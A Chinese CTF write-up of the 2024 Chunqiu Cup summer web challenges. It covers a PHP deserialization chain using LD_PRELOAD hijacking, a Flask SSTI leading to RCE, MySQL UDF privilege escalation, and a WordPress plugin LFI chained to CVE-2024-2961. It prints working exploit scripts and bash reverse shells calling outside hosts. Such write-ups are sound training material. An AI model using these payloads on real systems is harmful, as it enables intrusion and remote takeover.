2024春秋杯网络安全联赛夏季赛-WEB-CTF部分wp
上午答辩完小学期结束了,刚好有题打,下午上线打打玩玩喽~
Hijack
<?php highlight_file(__FILE__); error_reporting(E_ALL); ini_set('display_errors', 1); function filter($a) { $pattern = array('\'', '"','%','\(','\)',';','bash'); $pattern = '/' . implode('|', $pattern) . '/i'; if(preg_match($pattern,$a)){ die("No injecting!!!"); } return $a; } class ENV{ public $key; // = 'LD_PRELOAD' public $value; // = '/tmp/xxxxxxx.so' public $math; public function __toString() { $key=filter($this->key); $value=filter($this->value); putenv("$key=$value"); //环境变量劫持,设置LD_PRELOAD=/tmp/xxxxxxx.so system("cat hints.txt"); } public function __wakeup() //入口 { if (isset($this->math->flag)) //不绕过就直接先触发DIFF::__isset { echo getenv("LD_PRELOAD"); echo "YesYes"; } else { echo "YesYesYes"; } } } class DIFF{ public $callback; //new FUN() public $back; private $flag; public function __isset($arg1) { system("cat /flag"); $this->callback->p; //第一次触发FUN::__get再触发FILE::__call上传so文件获取路径,第二次触发FILE::__get触发__toString()打putenv环境变量劫持 echo "You are stupid, what exactly is your identity?"; } } class FILE{ public $filename; //hack.so public $enviroment; public function __get($arg1){ //第二次 if("hacker"==$this->enviroment){ //字符串处理,触发ENV:__toString echo "Hacker is bad guy!!!"; } } public function __call($function_name,$value) //调用不可访问的方法触发,文件上传点,上传so文件 { if (preg_match('/\.[^.]*$/', $this->filename, $matches)) { $uploadDir = "/tmp/"; $destination = $uploadDir . md5(time()) . $matches[0]; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } file_put_contents($this->filename, base64_decode($value[0])); //value[0]为base64编码的so文件 if (rename($this->filename, $destination)) { echo "文件成功移动到${destination}"; } else { echo '文件移动失败。'; } } else { echo "非法文件名。"; } } } class FUN{ public $fun; public $value; public function __get($name) //从不可访问的属性中读取数据触发, { $this->fun->getflag($this->value); //触发FILE::__call() } } $c = $_POST['Harder']; unserialize($c); ?>
一眼环境变量劫持,wakeup是入口点,链子也很简单就懒得说了,第一次反序列化获取路径,第二次反序列化打putenv:
linux生成一下so:
gcc -fPIC -shared -o hack.so hack.c -nostartfiles
import base64 with open("hack.so", "rb") as f: encoded_data = base64.b64encode(f.read()).decode() print(encoded_data) with open("1.txt", "w") as f: f.write(encoded_data)
unser1.php:
<?php class ENV{ public $key; public $value; public $math; } class DIFF{ public $callback; public $back; private $flag; } class FILE{ public $filename; public $enviroment; } class FUN{ public $fun; public $value; } $e = new ENV(); $d = new DIFF(); $f1 = new FILE(); $f2 = new FUN(); $e->math = $d; $d->callback = $f2; $f2->fun = $f1; // 读取hack.so的base64编码 $content = file_get_contents("F:\\Study\\CTF\\春秋杯夏季赛\\1.txt"); // 将文件内容作为数组的一个元素赋值给$f2->value $f2->value = array($content); $f1->filename = "hack.so"; echo urlencode(serialize($e)); //$c = $_POST['Harder']; //unserialize($c); ?>
unser2.php:
<?php class ENV{ public $key; public $value; public $math; } class DIFF{ public $callback; public $back; private $flag; } class FILE{ public $filename; public $enviroment; } class FUN{ public $fun; public $value; } $e1 = new ENV(); $e2 = new ENV(); $d = new DIFF(); $f1 = new FILE(); $f2 = new FUN(); $e1->math = $d; $d->callback = $f1; $f1->enviroment = $e2; $e2->key = "LD_PRELOAD"; $e2->value = "/tmp/c7ed72aaf0298f27c1cbb431eed7c3da.so"; echo urlencode(serialize($e1)); //$c = $_POST['Harder']; //unserialize($c); ?>
brother
以为是渗透提权,结果udf一把梭了,没活硬整,逆天......
所以后面出了个revenge,估计是非预期。
开局一个无waf的SSTI,fenjing一把梭,bash反弹shell。(他把curl啥的也删了emmm)
进去仨文件,除了那个mysql告诉你账密的,吊用没有。
api.py:
import mysql.connector, time, threading, socket from flask import Flask, request app = Flask(__name__) def mysql_keepalive(): config = { 'user': 'ctf', 'password': '123456', 'host': '127.0.0.1', 'database': 'mysql', 'port': 6666, } try: db_connection = mysql.connector.connect(**config) cursor = db_connection.cursor() except mysql.connector.Error as err: print(err) exit(0) while True: try: cursor.execute("SELECT VERSION();") cursor.fetchone() except mysql.connector.Error as err: print(f"连接中断: {err}") time.sleep(10) def handle_client_connection(client_socket): try: while True: client_socket.send('{"code":0, "path": ""}'.encode('utf-8')) time.sleep(10) except Exception as e: print(f"Error handling client: {e}") def update_api(): server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) host = '0.0.0.0' port = 7777 server_socket.bind((host, port)) server_socket.listen(1) print(f"update_api Listening on port {port}...") while True: client_socket, addr = server_socket.accept() handle_client_connection(client_socket) @app.route('/evil', methods=['POST']) def evil(): code = request.json['code'] key = request.json['key'] if key == open("./evil.key").read(): exec(code) return "ok" else: return "key error" if __name__ == '__main__': threading.Thread(target=mysql_keepalive).start() threading.Thread(target=update_api).start() app.run("127.0.0.1", 5000)
extract.py:
import json import socket import tarfile def extract_specific_file(tar_path, file_name, extract_path): with tarfile.open(tar_path, "r:gz") as tar: file_info = tar.getmember(file_name) tar.extract(file_info, path=extract_path) print("ok") s = socket.socket() s.connect(("127.0.0.1", 7777)) while True: data = s.recv(1024) try: js = json.loads(data) if js['code'] == 1: extract_specific_file(js['path'], 'new.bin', "/updatedir") except: s.send(b'Error')
www.py:
from flask import Flask, request, redirect, render_template_string app = Flask(__name__) @app.route('/') def inedx(): name = request.args.get("name","") if name == "": return redirect("/?name=hello") return render_template_string(name) app.run("0.0.0.0", port=8080)
evil.key也只是一个幌子,看了看权限我以为要提权到two,读evil.key再进一步提权,结果mysql直接打完了:
{'name': "{{cycler.next.__globals__.__builtins__.__import__('os').popen(<RCE>).read()}}"}
find / -user root -perm -4000 -print 2>/dev/null su可用 盲猜一手su提权 密码在数据库 但是mysql里啥也没有 bash -c 'bash -i >& /dev/tcp/vps/port 0>&1' 反弹shell mysql -uctf -p123456 -P 6666 -e "SHOW DATABASES;" mysql -uctf -p123456 -P 6666 -D mysql -e "SHOW TABLES;" mysql -uctf -p123456 -P 6666 -D mysql -e "SELECT * FROM user;" mysql -uctf -p123456 -P 6666 -D mysql -e "SELECT Host,User,Password FROM user;" mysql -uctf -p123456 -P 6666 -D mysql -e "show variables like '%secure_file_priv%'"; # UDF提权 mysql -uctf -p123456 -P 6666 -D mysql -e "select @@version_compile_os, @@version_compile_machine;" mysql -uctf -p123456 -P 6666 -D mysql -e "show variables like '%plugin%';" mysql -uctf -p123456 -P 6666 -D mysql -e "create table foo(line blob);" mysql -uctf -p123456 -P 6666 -D mysql -e "insert into foo values(load_file('/tmp/lib_mysqludf_sys_64.so'));" mysql -uctf -p123456 -P 6666 -D mysql -e "select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';" mysql -uctf -p123456 -P 6666 -D mysql -e "CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';" mysql -uctf -p123456 -P 6666 -D mysql -e "select * from mysql.func;" mysql -uctf -p123456 -P 6666 -D mysql -e "select sys_eval('whoami');" //drop function sys_eval;
最后看了眼evil.key是啥:
应该是个什么玩意md5,没啥意思,这题给队里赵哥都整无语了hhhhh
赵哥还教了个新的反弹shell的玩意:
wget *.sh | bash -c 'bash -i >& /dev/tcp/8.140.251.152/1234 0>&1'
w0rdpress(复现)
没看。
后面把CVE-2024-2961搞明白了,详见:从春秋杯夏季赛wordpress引发的CVE-2024-2961思考浅析 - Eddie_Murphy - 博客园 (cnblogs.com)
打打复现。
先是subscriber的弱密码 `subscriber/123456` 拿cookie,wordpress的洞一般是插件的问题,用wpscan可以扫出来subscriber。
进后台后,用 RVM 打文件包含,payload 打CVE-2024-2961 LFI to RCE:
/wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path=/etc/passwd
官方wp是改改Remote类:
def __init__(self, url: str) -> None: self.url = url self.session = Session() self.session.headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36", "Cookie":"wordpress_=subscriber%7C1720336162%7CpgTrhwuO3kuzcmwR58cvhthcb45qUx7UkYRiYDYPlW1%7Cb847e13631b08d8e6cb3528b7b3ffe5cfc26e3dd7be5a4dc9dcdc0151c0be873; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720026818,1720091541,1720161557; HMACCOUNT=06D642FA6D3CD649; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1720161560; PHPSESSID=6fd15deed30423894715ced0e98b545f; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_=subscriber%7C1720336162%7CpgTrhwuO3kuzcmwR58cvhthcb45qUx7UkYRiYDYPlW1%7Ce0c1af65c1951fece8672cc3b08c4d583a056923594d950558734c06b49e22b8; wp-settings-time-5=1720163412"} def send(self, path: str) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ print(path) req = self.session.post(self.url + "/wp-admin/admin-ajax.php?action=rvm_import_regions&nonce=5&rvm_mbe_post_id=1&rvm_upload_regions_file_path="+quote(path)) return req #return self.session.get(self.url + "/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php/?url=" + quote(path)) def download(self, path: str) -> bytes: """Returns the contents of a remote file. """ path = f"php://filter/convert.base64-encode/resource={path}" response = self.send(path) print(response) data = response.re.search(b" name=\"(.*)\[\]", flags=re.S).group(1) try: return base64.decode(data) except Exception as e: print(e) return data
反弹shell有点问题,直接写文件就可以了。
AWDP因为在高铁上,所以也没看。